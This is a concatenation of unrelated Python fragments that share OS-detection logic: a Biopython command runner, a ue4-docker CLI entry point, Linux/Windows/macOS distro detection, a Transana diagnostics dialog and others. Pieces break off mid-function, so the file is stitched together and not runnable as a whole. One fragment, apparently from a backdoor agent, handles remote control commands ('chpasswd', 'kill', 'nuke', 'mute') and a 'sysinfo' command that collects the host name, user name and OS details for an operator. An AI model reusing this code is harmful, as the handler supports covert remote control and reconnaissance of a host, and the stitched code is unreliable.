from Bio.Emboss.Applications import WaterCommandline
water_cmd = WaterCommandline(gapopen=10, gapextend=0.5,
stdout=True, auto=True,
asequence="a.fasta", bsequence="b.fasta")
print("About to run: %s" % water_cmd)
std_output, err_output = water_cmd()
This functionality is similar to subprocess.check_output() added in
Python 2.7. In general if you require more control over running the
command, use subprocess directly.
As of Biopython 1.56, when the program called returns a non-zero error
level, a custom ApplicationError exception is raised. This includes
any stdout and stderr strings captured as attributes of the exception
object, since they may be useful for diagnosing what went wrong.
"""
if not stdout:
stdout_arg = open(os.devnull, "w")
elif isinstance(stdout, basestring):
stdout_arg = open(stdout, "w")
else:
stdout_arg = subprocess.PIPE
if not stderr:
stderr_arg = open(os.devnull, "w")
elif isinstance(stderr, basestring):
if stdout == stderr:
stderr_arg = stdout_arg # Write both to the same file
else:
stderr_arg = open(stderr, "w")
else:
stderr_arg = subprocess.PIPE
# We may not need to supply any piped input, but we setup the
# standard input pipe anyway as a work around for a python
# bug if this is called from a Windows GUI program. For
# details, see http://bugs.python.org/issue1124861
#
# Using universal newlines is important on Python 3, this
# gives unicode handles rather than bytes handles.
# Windows 7, 8 and 8.1 want shell = True
# TODO: Test under Windows 10 and revisit platform detection.
if sys.platform != "win32":
use_shell = True
else:
win_ver = platform.win32_ver()[0]
if win_ver in ["7", "8", "post2012Server"]:
use_shell = True
else:
use_shell = False
child_process = subprocess.Popen(str(self),
stdin=subprocess.PIPE,
stdout=stdout_arg,
stderr=stderr_arg,
universal_newlines=True,
cwd=cwd,
env=env,
shell=use_shell)
# Use .communicate as can get deadlocks with .wait(), see Bug 2804
stdout_str, stderr_str = child_process.communicate(stdin)
if not stdout:
assert not stdout_str, stdout_str
if not stderr:
assert not stderr_str, stderr_str
return_code = child_process.returncode
# Particularly important to close handles on Jython and PyPy
# (where garbage collection is less predictable) and on Windows
# (where cannot delete files with an open handle):
if not stdout or isinstance(stdout, basestring):
# We opened /dev/null or a file
stdout_arg.close()
if not stderr or (isinstance(stderr, basestring) and stdout != stderr):
# We opened /dev/null or a file
stderr_arg.close()
if return_code:
raise ApplicationError(return_code, str(self), stdout_str,
stderr_str)
return stdout_str, stderr_str
def main():
# Configure verbose logging if the user requested it
# (NOTE: in a future version of ue4-docker the `Logger` class will be properly integrated with standard logging)
if '-v' in sys.argv or '--verbose' in sys.argv:
sys.argv = list(
[arg for arg in sys.argv if arg not in ['-v', '--verbose']])
logging.getLogger().setLevel(logging.DEBUG)
# Verify that Docker is installed
if DockerUtils.installed() == False:
_exitWithError(
'Error: could not detect Docker daemon version. Please ensure Docker is installed.'
)
# Under Windows, verify that the host is a supported version
if platform.system(
) == 'Windows' and WindowsUtils.isSupportedWindowsVersion() == False:
_exitWithError(
'Error: the detected version of Windows ({}) is not supported. Windows 10 / Windows Server version 1607 or newer is required.'
.format(platform.win32_ver()[1]))
# Under macOS, verify that the host is a supported version
if platform.system() == 'Darwin' and DarwinUtils.isSupportedMacOsVersion(
) == False:
_exitWithError(
'Error: the detected version of macOS ({}) is not supported. macOS {} or newer is required.'
.format(DarwinUtils.getMacOsVersion(),
DarwinUtils.minimumRequiredVersion()))
# Our supported commands
COMMANDS = {
'build': {
'function': build,
'description':
'Builds container images for a specific version of UE4'
},
'clean': {
'function': clean,
'description': 'Cleans built container images'
},
'export': {
'function':
export,
'description':
'Exports components from built container images to the host system'
},
'info': {
'function':
info,
'description':
'Displays information about the host system and Docker daemon'
},
'setup': {
'function':
setup,
'description':
'Automatically configures the host system where possible'
},
'version': {
'function': version,
'description': 'Prints the ue4-docker version number'
}
}
# Truncate argv[0] to just the command name without the full path
sys.argv[0] = os.path.basename(sys.argv[0])
# Determine if a command has been specified
if len(sys.argv) > 1:
# Verify that the specified command is valid
command = sys.argv[1]
if command not in COMMANDS:
print('Error: unrecognised command "{}".'.format(command),
file=sys.stderr)
sys.exit(1)
# Invoke the command
sys.argv = [sys.argv[0]] + sys.argv[2:]
COMMANDS[command]['function']()
else:
# Print usage syntax
print('Usage: {} COMMAND [OPTIONS]\n'.format(sys.argv[0]))
print('Windows and Linux containers for Unreal Engine 4\n')
print('Commands:')
PrettyPrinting.printColumns([
(command, COMMANDS[command]['description']) for command in COMMANDS
])
print('\nRun `{} COMMAND --help` for more information on a command.'.
format(sys.argv[0]))
def system_info():
'''
Get the system information.
Return a tuple with the platform type, the architecture and the
distribution
'''
# Get the platform info
platform = os.environ.get('OS', '').lower()
if not platform:
platform = sys.platform
if platform.startswith('win'):
platform = Platform.WINDOWS
elif platform.startswith('darwin'):
platform = Platform.DARWIN
elif platform.startswith('linux'):
platform = Platform.LINUX
else:
raise FatalError(_("Platform %s not supported") % platform)
# Get the architecture info
if platform == Platform.WINDOWS:
arch = windows_arch()
if arch in ('x64', 'amd64'):
arch = Architecture.X86_64
elif arch == 'x86':
arch = Architecture.X86
else:
raise FatalError(_("Windows arch %s is not supported") % arch)
else:
uname = os.uname()
arch = uname[4]
if arch == 'x86_64':
arch = Architecture.X86_64
elif arch.endswith('86'):
arch = Architecture.X86
elif arch.startswith('armv7'):
arch = Architecture.ARMv7
elif arch.startswith('arm64'):
arch = Architecture.ARM64
elif arch.startswith('arm'):
arch = Architecture.ARM
else:
raise FatalError(_("Architecture %s not supported") % arch)
# Get the distro info
if platform == Platform.LINUX:
if sys.version_info >= (3, 8, 0):
try:
import distro
except ImportError:
print(
'''Python >= 3.8 detected and the 'distro' python package was not found.
Please install the 'python3-distro' or 'python-distro' package from your linux package manager or from pypi using pip.
Terminating.''',
file=sys.stderr)
sys.exit(1)
d = distro.linux_distribution()
else:
d = pplatform.linux_distribution()
if d[0] == '' and d[1] == '' and d[2] == '':
if os.path.exists('/etc/arch-release'):
# FIXME: the python2.7 platform module does not support Arch Linux.
# Mimic python3.4 platform.linux_distribution() output.
d = ('arch', 'Arch', 'Linux')
elif os.path.exists('/etc/os-release'):
with open('/etc/os-release', 'r') as f:
if 'ID="amzn"\n' in f.readlines():
d = ('RedHat', 'amazon', '')
else:
f.seek(0, 0)
for line in f:
# skip empty lines and comment lines
if line.strip(
) and not line.lstrip().startswith('#'):
k, v = line.rstrip().split("=")
if k == 'NAME':
name = v.strip('"')
elif k == 'VERSION_ID':
version = v.strip('"')
d = (name, version, '')
if d[0] in [
'Ubuntu', 'debian', 'Debian GNU/Linux', 'LinuxMint',
'Linux Mint'
]:
distro = Distro.DEBIAN
distro_version = d[2].lower()
split_str = d[2].split()
if split_str:
distro_version = split_str[0].lower()
if distro_version in ['maverick', 'isadora']:
distro_version = DistroVersion.UBUNTU_MAVERICK
elif distro_version in ['lucid', 'julia']:
distro_version = DistroVersion.UBUNTU_LUCID
elif distro_version in ['natty', 'katya']:
distro_version = DistroVersion.UBUNTU_NATTY
elif distro_version in ['oneiric', 'lisa']:
distro_version = DistroVersion.UBUNTU_ONEIRIC
elif distro_version in ['precise', 'maya']:
distro_version = DistroVersion.UBUNTU_PRECISE
elif distro_version in ['quantal', 'nadia']:
distro_version = DistroVersion.UBUNTU_QUANTAL
elif distro_version in ['raring', 'olivia']:
distro_version = DistroVersion.UBUNTU_RARING
elif distro_version in ['saucy', 'petra']:
distro_version = DistroVersion.UBUNTU_SAUCY
elif distro_version in ['trusty', 'qiana', 'rebecca']:
distro_version = DistroVersion.UBUNTU_TRUSTY
elif distro_version in ['utopic']:
distro_version = DistroVersion.UBUNTU_UTOPIC
elif distro_version in ['vivid']:
distro_version = DistroVersion.UBUNTU_VIVID
elif distro_version in ['wily']:
distro_version = DistroVersion.UBUNTU_WILY
elif distro_version in [
'xenial', 'sarah', 'serena', 'sonya', 'sylvia'
]:
distro_version = DistroVersion.UBUNTU_XENIAL
elif distro_version in ['artful']:
distro_version = DistroVersion.UBUNTU_ARTFUL
elif distro_version in [
'bionic', 'tara', 'tessa', 'tina', 'tricia'
]:
distro_version = DistroVersion.UBUNTU_BIONIC
elif distro_version in ['cosmic']:
distro_version = DistroVersion.UBUNTU_COSMIC
elif distro_version in ['disco']:
distro_version = DistroVersion.UBUNTU_DISCO
elif distro_version in ['eoan']:
distro_version = DistroVersion.UBUNTU_EOAN
elif distro_version in ['focal', 'ulyana']:
distro_version = DistroVersion.UBUNTU_FOCAL
elif d[1].startswith('6.'):
distro_version = DistroVersion.DEBIAN_SQUEEZE
elif d[1].startswith('7.') or d[1].startswith('wheezy'):
distro_version = DistroVersion.DEBIAN_WHEEZY
elif d[1].startswith('8.') or d[1].startswith('jessie'):
distro_version = DistroVersion.DEBIAN_JESSIE
elif d[1].startswith('9.') or d[1].startswith('stretch'):
distro_version = DistroVersion.DEBIAN_STRETCH
elif d[1].startswith('10.') or d[1].startswith('buster'):
distro_version = DistroVersion.DEBIAN_BUSTER
elif d[1].startswith('11.') or d[1].startswith('bullseye'):
distro_version = DistroVersion.DEBIAN_BULLSEYE
elif d[1] == 'unstable' and d[2] == 'sid':
distro_version = DistroVersion.DEBIAN_SID
else:
raise FatalError("Distribution '%s' not supported" % str(d))
elif d[0] in [
'RedHat', 'Fedora', 'CentOS',
'Red Hat Enterprise Linux Server', 'CentOS Linux',
'Amazon Linux'
]:
distro = Distro.REDHAT
if d[1] == '16':
distro_version = DistroVersion.FEDORA_16
elif d[1] == '17':
distro_version = DistroVersion.FEDORA_17
elif d[1] == '18':
distro_version = DistroVersion.FEDORA_18
elif d[1] == '19':
distro_version = DistroVersion.FEDORA_19
elif d[1] == '20':
distro_version = DistroVersion.FEDORA_20
elif d[1] == '21':
distro_version = DistroVersion.FEDORA_21
elif d[1] == '22':
distro_version = DistroVersion.FEDORA_22
elif d[1] == '23':
distro_version = DistroVersion.FEDORA_23
elif d[1] == '24':
distro_version = DistroVersion.FEDORA_24
elif d[1] == '25':
distro_version = DistroVersion.FEDORA_25
elif d[1] == '26':
distro_version = DistroVersion.FEDORA_26
elif d[1] == '27':
distro_version = DistroVersion.FEDORA_27
elif d[1] == '28':
distro_version = DistroVersion.FEDORA_28
elif d[1] == '29':
distro_version = DistroVersion.FEDORA_29
elif d[1] == '30':
distro_version = DistroVersion.FEDORA_30
elif d[1] == '31':
distro_version = DistroVersion.FEDORA_31
elif d[1] == '32':
distro_version = DistroVersion.FEDORA_32
elif d[0] == 'Fedora':
# str(int()) is for ensuring that the fedora version is
# actually a number
distro_version = 'fedora_' + str(int(d[1]))
elif d[1].startswith('6.'):
distro_version = DistroVersion.REDHAT_6
elif d[1].startswith('7.'):
distro_version = DistroVersion.REDHAT_7
elif d[1].startswith('8.'):
distro_version = DistroVersion.REDHAT_8
elif d[0] == 'Amazon Linux' and d[1].startswith('2'):
distro_version = DistroVersion.AMAZON_LINUX_2
elif d[1] == 'amazon':
distro_version = DistroVersion.AMAZON_LINUX
else:
# FIXME Fill this
raise FatalError("Distribution '%s' not supported" % str(d))
elif d[0].strip() in ['openSUSE']:
distro = Distro.SUSE
if d[1] == '42.2':
distro_version = DistroVersion.OPENSUSE_42_2
elif d[1] == '42.3':
distro_version = DistroVersion.OPENSUSE_42_3
else:
# FIXME Fill this
raise FatalError("Distribution OpenSuse '%s' "
"not supported" % str(d))
elif d[0].strip() in ['openSUSE Tumbleweed']:
distro = Distro.SUSE
distro_version = DistroVersion.OPENSUSE_TUMBLEWEED
elif d[0].strip() in ['arch', 'Arch Linux']:
distro = Distro.ARCH
distro_version = DistroVersion.ARCH_ROLLING
elif d[0].strip() in ['Gentoo Base System']:
distro = Distro.GENTOO
distro_version = DistroVersion.GENTOO_VERSION
else:
raise FatalError("Distribution '%s' not supported" % str(d))
elif platform == Platform.WINDOWS:
distro = Distro.WINDOWS
win32_ver = pplatform.win32_ver()[0]
dmap = {
'xp': DistroVersion.WINDOWS_XP,
'vista': DistroVersion.WINDOWS_VISTA,
'7': DistroVersion.WINDOWS_7,
'post2008Server': DistroVersion.WINDOWS_8,
'8': DistroVersion.WINDOWS_8,
'post2012Server': DistroVersion.WINDOWS_8_1,
'8.1': DistroVersion.WINDOWS_8_1,
'10': DistroVersion.WINDOWS_10
}
if win32_ver in dmap:
distro_version = dmap[win32_ver]
else:
raise FatalError("Windows version '%s' not supported" % win32_ver)
elif platform == Platform.DARWIN:
distro = Distro.OS_X
ver = pplatform.mac_ver()[0]
if ver.startswith(('11.', '10.16')):
distro_version = DistroVersion.OS_X_BIG_SUR
elif ver.startswith('10.15'):
distro_version = DistroVersion.OS_X_CATALINA
elif ver.startswith('10.14'):
distro_version = DistroVersion.OS_X_MOJAVE
elif ver.startswith('10.13'):
distro_version = DistroVersion.OS_X_HIGH_SIERRA
elif ver.startswith('10.12'):
distro_version = DistroVersion.OS_X_SIERRA
elif ver.startswith('10.11'):
distro_version = DistroVersion.OS_X_EL_CAPITAN
elif ver.startswith('10.10'):
distro_version = DistroVersion.OS_X_YOSEMITE
elif ver.startswith('10.9'):
distro_version = DistroVersion.OS_X_MAVERICKS
elif ver.startswith('10.8'):
distro_version = DistroVersion.OS_X_MOUNTAIN_LION
else:
raise FatalError("Mac version %s not supported" % ver)
num_of_cpus = determine_num_of_cpus()
return platform, arch, distro, distro_version, num_of_cpus
def OnKeyUp(self, event):
""" OnKeyUp event captures the release of keys so they can be processed """
# If ALT and SHIFT are pressed ...
if event.AltDown() and event.ShiftDown():
# ... get the key that was pressed
key = event.GetKeyCode()
# If F11 is pressed, show COMPONENT VERSION information
if (key == wx.WXK_F11) or (key in [ord('S'), ord('s')]):
# Import Python's ctypes, Transana's DBInterface, Python's sys modules, and numpy
import Crypto, ctypes, DBInterface, paramiko, sys, numpy
if sys.platform == 'win32':
sysplat = 'Windows'
sysver = platform.win32_ver()[0]
elif sys.platform == 'darwin':
sysplat = 'Mac OS X'
sysver = platform.mac_ver()[0]
else:
sysplat = sys.platform
sysver = platform.version()
str = 'Platform: %s %s' % (sysplat, sysver)
# Build a string that contains the version information for crucial programming components
str += '\n\nTransana %s uses the following tools:\n\n'% (TransanaConstants.versionNumber)
if (platform.architecture()[0] == '32bit') or (sys.maxint == 2 ** 31 - 1):
arc = '32-bit'
elif platform.architecture()[0] == '64bit':
arc = '64-bit'
else:
arc = 'Unknown architecture'
str = '%sPython: %s (%s)\n' % (str, sys.version[:6].strip(), arc)
if 'unicode' in wx.PlatformInfo:
str2 = 'unicode'
else:
str2 = 'ansi'
str = '%swxPython: %s - %s\n' % (str, wx.VERSION_STRING, str2)
if TransanaConstants.DBInstalled in ['MySQLdb-embedded', 'MySQLdb-server']:
import MySQLdb
str = '%sMySQL for Python: %s\n' % (str, MySQLdb.__version__)
elif TransanaConstants.DBInstalled in ['PyMySQL']:
import pymysql
str = '%sPyMySQL: %s\n' % (str, pymysql.version_info)
elif TransanaConstants.DBInstalled in ['sqlite3']:
import sqlite3
str = '%ssqlite: %s\n' % (str, sqlite3.version)
else:
str = '%sUnknown Database: Unknown Version\n' % (str, )
if DBInterface._dbref != None:
# Get a Database Cursor
dbCursor = DBInterface._dbref.cursor()
if TransanaConstants.DBInstalled in ['MySQLdb-embedded', 'MySQLdb-server', 'PyMySQL']:
# Query the Database about what Database Names have been defined
dbCursor.execute('SELECT VERSION()')
vs = dbCursor.fetchall()
for v in vs:
str = "%sMySQL: %s\n" % (str, v[0])
str = "%sctypes: %s\n" % (str, ctypes.__version__)
str = "%sCrypto: %s\n" % (str, Crypto.__version__)
str = "%sparamiko: %s\n" % (str, paramiko.__version__)
str = "%snumpy: %s\n" % (str, numpy.__version__)
str = "%sEncoding: %s\n" % (str, TransanaGlobal.encoding)
str = "%sLanguage: %s\n" % (str, TransanaGlobal.configData.language)
# Replace the Description text with the version information text
self.description.SetLabel(str)
query = "SELECT COUNT(SeriesNum) FROM Series2"
dbCursor.execute(query)
seriesCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(DocumentNum) FROM Documents2"
dbCursor.execute(query)
documentCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(EpisodeNum) FROM Episodes2"
dbCursor.execute(query)
episodeCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(CoreDataNum) FROM CoreData2"
dbCursor.execute(query)
coreDataCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(TranscriptNum) FROM Transcripts2 WHERE ClipNum = 0"
dbCursor.execute(query)
transcriptCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(CollectNum) FROM Collections2"
dbCursor.execute(query)
collectionCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(quoteNum) FROM Quotes2"
dbCursor.execute(query)
quoteCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(clipNum) FROM Clips2"
dbCursor.execute(query)
clipCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(TranscriptNum) FROM Transcripts2 WHERE ClipNum <> 0"
dbCursor.execute(query)
clipTranscriptCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(SnapshotNum) FROM Snapshots2"
dbCursor.execute(query)
snapshotCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(NoteNum) FROM Notes2"
dbCursor.execute(query)
noteCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(Keyword) FROM Keywords2"
dbCursor.execute(query)
keywordCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(Keyword) FROM ClipKeywords2"
dbCursor.execute(query)
clipKeywordCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(Keyword) FROM SnapshotKeywords2"
dbCursor.execute(query)
snapshotKeywordCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(Keyword) FROM SnapshotKeywordStyles2"
dbCursor.execute(query)
snapshotKeywordStylesCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(AddVidNum) FROM AdditionalVids2"
dbCursor.execute(query)
addVidCount = dbCursor.fetchall()[0][0]
query = "SELECT COUNT(ConfigName) FROM Filters2"
dbCursor.execute(query)
filterCount = dbCursor.fetchall()[0][0]
tmpStr = """Data Records:
Libraries: %s
Documents: %s
Episodes: %s
Episode Transcripts: %s
Collections: %s
Quotes: %s
Clips: %s
Clip Transcripts: %s
Snapshots: %s
Notes: %s
Keywords: %s
Quote/Clip Keywords: %s
Snapshot Keywords: %s
Snapshot Keyword Styles: %s
Additional Videos: %s
Filters: %s
Core Data: %s\n """
data = (seriesCount, documentCount, episodeCount, transcriptCount, collectionCount, quoteCount,
clipCount, clipTranscriptCount,
snapshotCount, noteCount, keywordCount, clipKeywordCount, snapshotKeywordCount,
snapshotKeywordStylesCount, addVidCount, filterCount, coreDataCount)
# Eliminate the Credits text
self.credits.SetLabel(tmpStr % data)
self.translations.SetLabel('')
self.ffmpeg.SetLabel('')
# If F12 is pressed ...
elif (key == wx.WXK_F12) or (key in [ord('H'), ord('h')]):
# Replace the Version information text with the original description text
self.description.SetLabel(self.description_str)
# Replace the blank credits text with the original credits text
self.credits.SetLabel(self.credits_str)
self.translations.SetLabel(self.translations_str)
self.ffmpeg.SetLabel(self.ffmpeg_str)
# Fit the window to the altered controls
self.Fit()
TransanaGlobal.CenterOnPrimary(self)
# If ALT and SHIFT aren't both pressed ...
else:
# ... then we don't do anything
pass
def get_os_spec_info(os_name):
# Linux man page for `/proc`:
# http://man7.org/linux/man-pages/man5/proc.5.html
# Windows documentation for `wmic OS`:
# https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/cim-operatingsystem
# MacOS man page for `sysctl`:
# https://www.unix.com/man-page/osx/3/sysctl/
# MacOS man page for `vm_stat`:
# https://www.unix.com/man-page/osx/1/vm_stat/
class CmdBufferOut(tuple):
buffer_output_flag = True
class CmdReadFile(tuple):
read_file_flag = True
shell_params = {
'Linux': {
'cmd': (
CmdReadFile(('/sys/fs/cgroup/cpuacct/cpu.cfs_quota_us',)),
CmdReadFile(('/sys/fs/cgroup/cpuacct/cpu.cfs_period_us',)),
),
'cmd_optional': (
CmdReadFile(('/proc/meminfo',)),
CmdReadFile(('/proc/self/status',)),
),
'kwds': {
# output string fragment -> result dict key
'MemTotal:': _mem_total,
'MemAvailable:': _mem_available,
'Cpus_allowed:': _cpus_allowed,
'Cpus_allowed_list:': _cpus_list,
'/sys/fs/cgroup/cpuacct/cpu.cfs_quota_us': _cfs_quota,
'/sys/fs/cgroup/cpuacct/cpu.cfs_period_us': _cfs_period,
},
},
'Windows': {
'cmd': (),
'cmd_optional': (
CmdBufferOut(('wmic', 'OS', 'get', 'TotalVirtualMemorySize')),
CmdBufferOut(('wmic', 'OS', 'get', 'FreeVirtualMemory')),
),
'kwds': {
# output string fragment -> result dict key
'TotalVirtualMemorySize': _mem_total,
'FreeVirtualMemory': _mem_available,
},
},
'Darwin': {
'cmd': (),
'cmd_optional': (
('sysctl', 'hw.memsize'),
('vm_stat'),
),
'kwds': {
# output string fragment -> result dict key
'hw.memsize:': _mem_total,
'free:': _mem_available,
},
'units': {
_mem_total: 1, # Size is given in bytes.
_mem_available: 4096, # Size is given in 4kB pages.
},
},
}
os_spec_info = {}
params = shell_params.get(os_name, {})
cmd_selected = params.get('cmd', ())
if _psutil_import:
vm = psutil.virtual_memory()
os_spec_info.update({
_mem_total: vm.total,
_mem_available: vm.available,
})
p = psutil.Process()
cpus_allowed = p.cpu_affinity() if hasattr(p, 'cpu_affinity') else []
if cpus_allowed:
os_spec_info[_cpus_allowed] = len(cpus_allowed)
os_spec_info[_cpus_list] = ' '.join(str(n) for n in cpus_allowed)
else:
_warning_log.append(
"Warning (psutil): psutil cannot be imported. "
"For more accuracy, consider installing it.")
# Fallback to internal heuristics
cmd_selected += params.get('cmd_optional', ())
# Assuming the shell cmd returns a unique (k, v) pair per line
# or a unique (k, v) pair spread over several lines:
# Gather output in a list of strings containing a keyword and some value.
output = []
for cmd in cmd_selected:
if hasattr(cmd, 'read_file_flag'):
# Open file within Python
if os.path.exists(cmd[0]):
try:
with open(cmd[0], 'r') as f:
out = f.readlines()
if out:
out[0] = ' '.join((cmd[0], out[0]))
output.extend(out)
except OSError as e:
_error_log.append(f'Error (file read): {e}')
continue
else:
_warning_log.append('Warning (no file): {}'.format(cmd[0]))
continue
else:
# Spawn a subprocess
try:
out = check_output(cmd, stderr=PIPE)
except (OSError, CalledProcessError) as e:
_error_log.append(f'Error (subprocess): {e}')
continue
if hasattr(cmd, 'buffer_output_flag'):
out = b' '.join(line for line in out.splitlines()) + b'\n'
output.extend(out.decode().splitlines())
# Extract (k, output) pairs by searching for keywords in output
kwds = params.get('kwds', {})
for line in output:
match = kwds.keys() & line.split()
if match and len(match) == 1:
k = kwds[match.pop()]
os_spec_info[k] = line
elif len(match) > 1:
print(f'Ambiguous output: {line}')
# Try to extract something meaningful from output string
def format():
# CFS restrictions
split = os_spec_info.get(_cfs_quota, '').split()
if split:
os_spec_info[_cfs_quota] = float(split[-1])
split = os_spec_info.get(_cfs_period, '').split()
if split:
os_spec_info[_cfs_period] = float(split[-1])
if os_spec_info.get(_cfs_quota, -1) != -1:
cfs_quota = os_spec_info.get(_cfs_quota, '')
cfs_period = os_spec_info.get(_cfs_period, '')
runtime_amount = cfs_quota / cfs_period
os_spec_info[_cfs_restrict] = runtime_amount
def format_optional():
# Memory
units = {_mem_total: 1024, _mem_available: 1024}
units.update(params.get('units', {}))
for k in (_mem_total, _mem_available):
digits = ''.join(d for d in os_spec_info.get(k, '') if d.isdigit())
os_spec_info[k] = int(digits or 0) * units[k]
# Accessible CPUs
split = os_spec_info.get(_cpus_allowed, '').split()
if split:
n = split[-1]
n = n.split(',')[-1]
os_spec_info[_cpus_allowed] = str(bin(int(n or 0, 16))).count('1')
split = os_spec_info.get(_cpus_list, '').split()
if split:
os_spec_info[_cpus_list] = split[-1]
try:
format()
if not _psutil_import:
format_optional()
except Exception as e:
_error_log.append(f'Error (format shell output): {e}')
# Call OS specific functions
os_specific_funcs = {
'Linux': {
_libc_version: lambda: ' '.join(platform.libc_ver())
},
'Windows': {
_os_spec_version: lambda: ' '.join(
s for s in platform.win32_ver()),
},
'Darwin': {
_os_spec_version: lambda: ''.join(
i or ' ' for s in tuple(platform.mac_ver()) for i in s),
},
}
key_func = os_specific_funcs.get(os_name, {})
os_spec_info.update({k: f() for k, f in key_func.items()})
return os_spec_info
# vim: set fileencoding=utf-8
"""Implementations of wifi functions of Linux."""
import re
import platform
import time
import logging
from ctypes import *
from ctypes.wintypes import *
from comtypes import GUID
from .const import *
from .profile import Profile
if platform.release().lower() == 'xp':
if platform.win32_ver()[2].lower() in ['sp2', 'sp3']:
CLIENT_VERSION = 1
else:
CLIENT_VERSION = 2
"""
Some types does not exist in python2 ctypes.wintypes so we fake them
using how its defined in python3 ctypes.wintypes.
"""
if not "PDWORD" in dir():
PDWORD = POINTER(DWORD)
if not "PWCHAR" in dir():
PWCHAR = POINTER(WCHAR)
ERROR_SUCCESS = 0
WLAN_MAX_PHY_TYPE_NUMBER = 8
osvers = 'slc' + dist[1].split('.')[0]
elif re.search('CentOS', dist[0]):
osvers = 'centos' + dist[1].split('.')[0]
elif re.search('Scientific', dist[0]):
if dist[1].split('.')[0] >= '7':
osvers = 'centos' + dist[1].split('.')[0]
else:
osvers = 'slc' + dist[1].split('.')[0]
elif re.search('Ubuntu', dist[0]):
osvers = 'ubuntu' + dist[1].split('.')[0] + dist[1].split('.')[1]
elif re.search('Fedora', dist[0]):
osvers = 'fedora' + dist[1].split('.')[0]
else:
osvers = 'linux' + string.join(platform.linux_distribution()[1].split('.')[:2],'')
elif system == 'Windows':
osvers = win + platform.win32_ver()[0]
else:
osvers = 'unk-os'
#---Determine the compiler and version--------------------------------
if os.getenv('COMPILER') and os.getenv('COMPILER') not in ['native', 'classic'] and not os.getenv("CC"):
compiler = os.getenv('COMPILER')
else:
if os.getenv('CC'):
ccommand = os.getenv('CC')
elif system == 'Windows':
ccommand = 'cl'
elif system == 'Darwin':
ccommand = 'clang'
else:
ccommand = 'gcc'
def work( storage, message ) :
# print( "Control message: %s" % message )
import re
args = re.split("\s", message)
message = args[0]
if message == storage['commands']['reset'] :
storage['COMMON']['handler'].reset()
return 'OK'
elif message == storage['commands']['identity'] :
return storage['COMMON']['handler'].orchestrator.getIdentity()[:8]
elif message == storage['commands']['sync'] :
stream = args[1]
# print type(args), args
storage['COMMON']['handler'].getOrchestrator().reset( streams = [stream] )
# print "Reseted"
return 'OK'
elif message == storage['commands']['chpasswd'] :
new_passwd = args[1]
import threading
print(storage.keys())
chpasswd_thread = threading.Thread( target = storage['chpasswd_func'], args = ( new_passwd, ) )
chpasswd_thread.start()
return 'OK'
elif message == storage['commands']['kill'] :
storage['COMMON']['handler'].stop()
import threading
kill_thread = threading.Thread(target = storage['wait_exit_func'])
kill_thread.start()
return "OK"
elif message == storage['commands']['mute'] :
# if (storage['COMMON']['handler']) # If it is interrogating,
storage['COMMON']['handler'].send_function = storage['dummy_send_func']
return "OK" # just for the hell of it
elif message == storage['commands']['unmute'] :
storage['COMMON']['handler'].send_function = storage['real_send_func']
return "OK" #
elif message == storage['commands']['nuke'] :
storage['nuke_func']()
return "OK" #
elif message == storage['commands']['check_sync'] :
import json
orch = storage['COMMON']['handler'].getOrchestrator()
ret_dict = {}
for stream in orch.getStreams() :
ret_dict[stream] = orch.getKeyCycles(stream)
ret = json.dumps(ret_dict).replace( " ","" )
return ret
elif message == storage['commands']['sysinfo'] :
import platform, json, getpass, locale
ret = "+".join([ # 113 bytes
platform.node(),
platform.machine(),
platform.version(),
'-'.join(locale.getdefaultlocale()),
platform.platform(),
platform.release(),
platform.system(),
platform.processor(),
getpass.getuser(),
'-'.join(platform.win32_ver()),
'-'.join(platform.libc_ver()),
# '-'.join(platform.mac_ver()),
])
# ret = json.dumps(info).replace( " ","" ) # to save some bytes
return ret
else :
return "N/A"
def system_info():
'''
Get the sysem information.
Return a tuple with the platform type, the architecture and the
distribution
'''
# Get the platform info
platform = sys.platform
if platform.startswith('win'):
platform = Platform.WINDOWS
elif platform.startswith('darwin'):
platform = Platform.DARWIN
elif platform.startswith('linux'):
platform = Platform.LINUX
else:
raise FatalError(_("Platform %s not supported") % platform)
# Get the architecture info
if platform == Platform.WINDOWS:
platform_str = sysconfig.get_platform()
if platform_str in ['win-amd64', 'win-ia64']:
arch = Architecture.X86_64
else:
arch = Architecture.X86
else:
uname = os.uname()
arch = uname[4]
if arch == 'x86_64':
arch = Architecture.X86_64
elif arch.endswith('86'):
arch = Architecture.X86
else:
raise FatalError(_("Architecture %s not supported") % arch)
# Get the distro info
if platform == Platform.LINUX:
d = pplatform.linux_distribution()
if d[0] == '' and d[1] == '' and d[2] == '':
if os.path.exists('/etc/arch-release'):
# FIXME: the python2.7 platform module does not support Arch Linux.
# Mimic python3.4 platform.linux_distribution() output.
d = ('arch', 'Arch', 'Linux')
if d[0] in ['Ubuntu', 'debian', 'LinuxMint']:
distro = Distro.DEBIAN
if d[2] in ['maverick', 'isadora']:
distro_version = DistroVersion.UBUNTU_MAVERICK
elif d[2] in ['lucid', 'julia']:
distro_version = DistroVersion.UBUNTU_LUCID
elif d[2] in ['natty', 'katya']:
distro_version = DistroVersion.UBUNTU_NATTY
elif d[2] in ['oneiric', 'lisa']:
distro_version = DistroVersion.UBUNTU_ONEIRIC
elif d[2] in ['precise', 'maya']:
distro_version = DistroVersion.UBUNTU_PRECISE
elif d[2] in ['quantal', 'nadia']:
distro_version = DistroVersion.UBUNTU_QUANTAL
elif d[2] in ['raring', 'olivia']:
distro_version = DistroVersion.UBUNTU_RARING
elif d[2] in ['saucy', 'petra']:
distro_version = DistroVersion.UBUNTU_SAUCY
elif d[2] in ['trusty', 'qiana', 'rebecca']:
distro_version = DistroVersion.UBUNTU_TRUSTY
elif d[2] in ['utopic']:
distro_version = DistroVersion.UBUNTU_UTOPIC
elif d[2] in ['vivid']:
distro_version = DistroVersion.UBUNTU_VIVID
elif d[1].startswith('6.'):
distro_version = DistroVersion.DEBIAN_SQUEEZE
